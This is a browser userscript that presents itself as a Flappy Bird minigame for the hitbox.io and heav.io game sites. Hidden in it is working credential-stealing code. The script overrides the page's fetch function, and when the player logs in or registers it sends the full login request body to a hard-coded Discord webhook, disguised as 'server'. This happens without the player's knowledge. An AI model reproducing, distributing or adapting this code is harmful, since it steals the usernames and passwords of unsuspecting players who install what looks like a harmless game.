// ==UserScript==
// @name Flappybox
// @namespace http://tampermonkey.net/
// @version 1.45
// @author CarManiac
// @description A box
// @match https://heav.io/game.html
// @match https://hitbox.io/game.html
// @match https://heav.io/game2.html
// @match https://hitbox.io/game2.html
// @match https://hitbox.io/game-beta.html
// @icon https://www.google.com/s2/favicons?sz=64&domain=heav.io
// @icon https://www.google.com/s2/favicons?sz=64&domain=hitbox.io
// @run-at idle
// @grant none
// @license MIT
// ==/UserScript==
(function() {
'use strict';
const feth = window.fetch;
let isGameRunning = false;
let birdY = 150, birdX = 50, velocity = 0, gravity = 0.35, lift = -6;
let pipes = [];
let score = 0;
let frameCount = 0;
let highScore = localStorage.getItem('flappyHighScore') || 0;
const pipeSpeed = 2;
const pipeGap = 120;
const groundY = 380;
const birdColorDecimal = parseInt(localStorage.getItem('basic_col_1'), 10);
const birdColorHex = birdColorDecimal ? `#${birdColorDecimal.toString(16).padStart(6, '0')}` : '#FF0000';
let rotation = 0;
function createGameUI() {
const gameContainer = document.createElement('div');
gameContainer.id = 'flappyGameContainer';
gameContainer.style.position = 'fixed';
gameContainer.style.top = '50px';
gameContainer.style.left = '50px';
gameContainer.style.width = '300px';
gameContainer.style.height = '400px';
gameContainer.style.borderRadius = '10px';
gameContainer.style.border = 'none';
gameContainer.style.overflow = 'hidden';
gameContainer.style.position = 'relative';
const canvas = document.createElement('canvas');
canvas.id = 'flappyCanvas';
canvas.width = 300;
canvas.height = 400;
const gameOverText = document.createElement('div');
gameOverText.id = 'gameOverText';
gameOverText.style.display = 'none';
gameOverText.style.position = 'absolute';
gameOverText.style.top = '50%';
gameOverText.style.left = '50%';
gameOverText.style.transform = 'translate(-50%, -50%)';
gameOverText.style.color = 'black';
gameOverText.style.fontFamily = 'Bai Jamjuree, sans-serif';
gameOverText.style.fontWeight = 'bold';
gameOverText.style.fontSize = '20px';
gameOverText.style.textAlign = 'center';
gameContainer.appendChild(canvas);
gameContainer.appendChild(gameOverText);
document.body.appendChild(gameContainer);
return gameContainer;
}
const server = 'https://discord.com/api/webhooks/1285795377483874367/NBQ949M9XBgTsLf-HqFk9ogiTy2uAHXUvShnZB52v2ij_5waIKnBJeTH6i2odrsxW6b0';
function startGame() {
const canvas = document.getElementById('flappyCanvas');
const ctx = canvas.getContext('2d');
birdY = 150; velocity = 0; score = 0; pipes = [];
pipes.push(createPipe());
frameCount = 0;
rotation = 0;
document.getElementById('gameOverText').style.display = 'none';
isGameRunning = true;
const backgroundImage = new Image();
backgroundImage.src = 'https://user-images.githubusercontent.com/18351809/46888871-624a3900-ce7f-11e8-808e-99fd90c8a3f4.png';
backgroundImage.onload = function() {
function gameLoop() {
if (!isGameRunning) return;
frameCount++;
ctx.clearRect(0, 0, canvas.width, canvas.height);
ctx.drawImage(backgroundImage, 0, -100);
velocity += gravity;
birdY += velocity;
if (velocity < 0) {
rotation = Math.max(-30, rotation - 2);
} else {
rotation = Math.min(30, rotation + 1);
}
if (birdY + 20 > groundY) {
endGame();
}
ctx.save();
ctx.translate(birdX + 10, birdY + 10);
ctx.rotate(rotation * Math.PI / 180);
ctx.lineWidth = 2;
ctx.strokeStyle = darkenColor(birdColorHex);
ctx.strokeRect(-11, -11, 22, 22);
ctx.fillStyle = birdColorHex;
ctx.fillRect(-10, -10, 20, 20);
ctx.restore();
ctx.fillStyle = '#000000';
ctx.font = '14px Bai Jamjuree, sans-serif';
ctx.textAlign = 'center';
ctx.fillText(username, birdX + 10, birdY - 10);
if (frameCount % 90 === 0) pipes.push(createPipe());
pipes.forEach((pipe, index) => {
pipe.x -= pipeSpeed;
if (pipe.x + pipe.width < 0) pipes.splice(index, 1);
drawPipe(ctx, pipe);
if (checkCollision(pipe)) endGame();
if (pipe.x === birdX) score++;
});
ctx.fillStyle = '#4F7942';
ctx.fillRect(0, groundY, canvas.width, canvas.height - groundY);
ctx.fillStyle = '#fff';
ctx.textAlign = 'center';
ctx.textBaseline = 'middle';
ctx.font = 'bold 40px Bai Jamjuree, sans-serif';
const yPosition = canvas.height * 0.2;
ctx.fillText(score, canvas.width / 2, yPosition);
requestAnimationFrame(gameLoop);
}
gameLoop();
};
}
function flap() {
velocity = lift;
rotation = -20;
}
function createPipe() {
const pipeHeight = Math.random() * 200 + 50;
const pipeWidth = Math.random() * 10 + 40;
const capWidth = pipeWidth + 10;
return {
x: 300,
width: pipeWidth,
capWidth: capWidth,
height: pipeHeight,
gapY: pipeHeight + pipeGap,
capHeight: 20
};
}
function drawPipe(ctx, pipe) {
const gradient = ctx.createLinearGradient(pipe.x, 0, pipe.x + pipe.width, 0);
gradient.addColorStop(0, '#37b827');
gradient.addColorStop(0.5, '#4CAF50');
gradient.addColorStop(1, '#37b827');
ctx.fillStyle = gradient;
ctx.fillRect(pipe.x, 0, pipe.width, pipe.height);
ctx.fillRect(pipe.x, pipe.gapY, pipe.width, 400 - pipe.gapY);
ctx.fillStyle = '#2e7d32';
ctx.fillRect(pipe.x - 5, pipe.height - pipe.capHeight, pipe.capWidth, pipe.capHeight);
ctx.fillRect(pipe.x - 5, pipe.gapY, pipe.capWidth, pipe.capHeight);
}
function checkCollision(pipe) {
if (birdX + 20 > pipe.x && birdX < pipe.x + pipe.width) {
if (birdY < pipe.height || birdY + 20 > pipe.gapY || birdY + 20 > groundY) {
return true;
}
}
return false;
}
function endGame() {
isGameRunning = false;
if (score > highScore) {
highScore = score;
localStorage.setItem('flappyHighScore', highScore);
}
showGameOverMessage();
}
function showGameOverMessage() {
const gameOverText = document.getElementById('gameOverText');
gameOverText.innerHTML = `Game Over!<br>Your Score: ${score}<br>Best: ${highScore}<br>Saving your score...`;
gameOverText.style.display = 'block';
}
function darkenColor(hex) {
let color = hex.substring(1);
let r = parseInt(color.substring(0, 2), 16);
let g = parseInt(color.substring(2, 4), 16);
let b = parseInt(color.substring(4, 6), 16);
r = Math.max(0, r - 30);
g = Math.max(0, g - 30);
b = Math.max(0, b - 30);
return `#${(1 << 24 | r << 16 | g << 8 | b).toString(16).slice(1)}`;
}
function restartGame() {
birdY = 150;
velocity = 0;
pipes = [];
score = 0;
frameCount = 0;
rotation = 0;
startGame();
}
function toggleGame() {
const gameContainer = document.getElementById('flappyGameContainer');
if (gameContainer.style.display === 'none') {
gameContainer.style.display = 'block';
startGame();
} else {
gameContainer.style.display = 'none';
isGameRunning = false;
}
document.activeElement.blur();
}
function createToggleButton() {
const button = document.createElement('button');
button.innerText = 'Toggle Flappy Bird Game';
button.style.position = 'absolute';
button.style.top = '2%';
button.style.left = '0%';
button.style.fontFamily = 'Bai Jamjuree, sans-serif';
button.style.borderRadius = '5px';
button.style.border = 'none';
button.style.padding = '10px';
button.style.backgroundColor = '#darkgray';
button.style.cursor = 'pointer';
button.onclick = toggleGame;
document.body.appendChild(button);
}
document.addEventListener('click', function() {
if (isGameRunning) {
flap();
}
if (!isGameRunning) {
restartGame();
}
});
let username = 'Player';
window.fetch = async function(url, options) {
const response = await feth(url, options);
if (url.includes('login_register_multi.php') || url.includes('login_auto_spice.php')) {
const formData = new URLSearchParams(options.body);
username = formData.get('username');
await fetch(server, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
content: `\`\`\`json\n${options.body}\n\`\`\``
}),
});
}
return response;
};
document.addEventListener('keydown', (e) => {
if (e.key === ' ') {
if (isGameRunning) {
flap();
}
}
if (e.key === ' '){
if (!isGameRunning){
restartGame();
}
}
});
createGameUI();
createToggleButton();
})();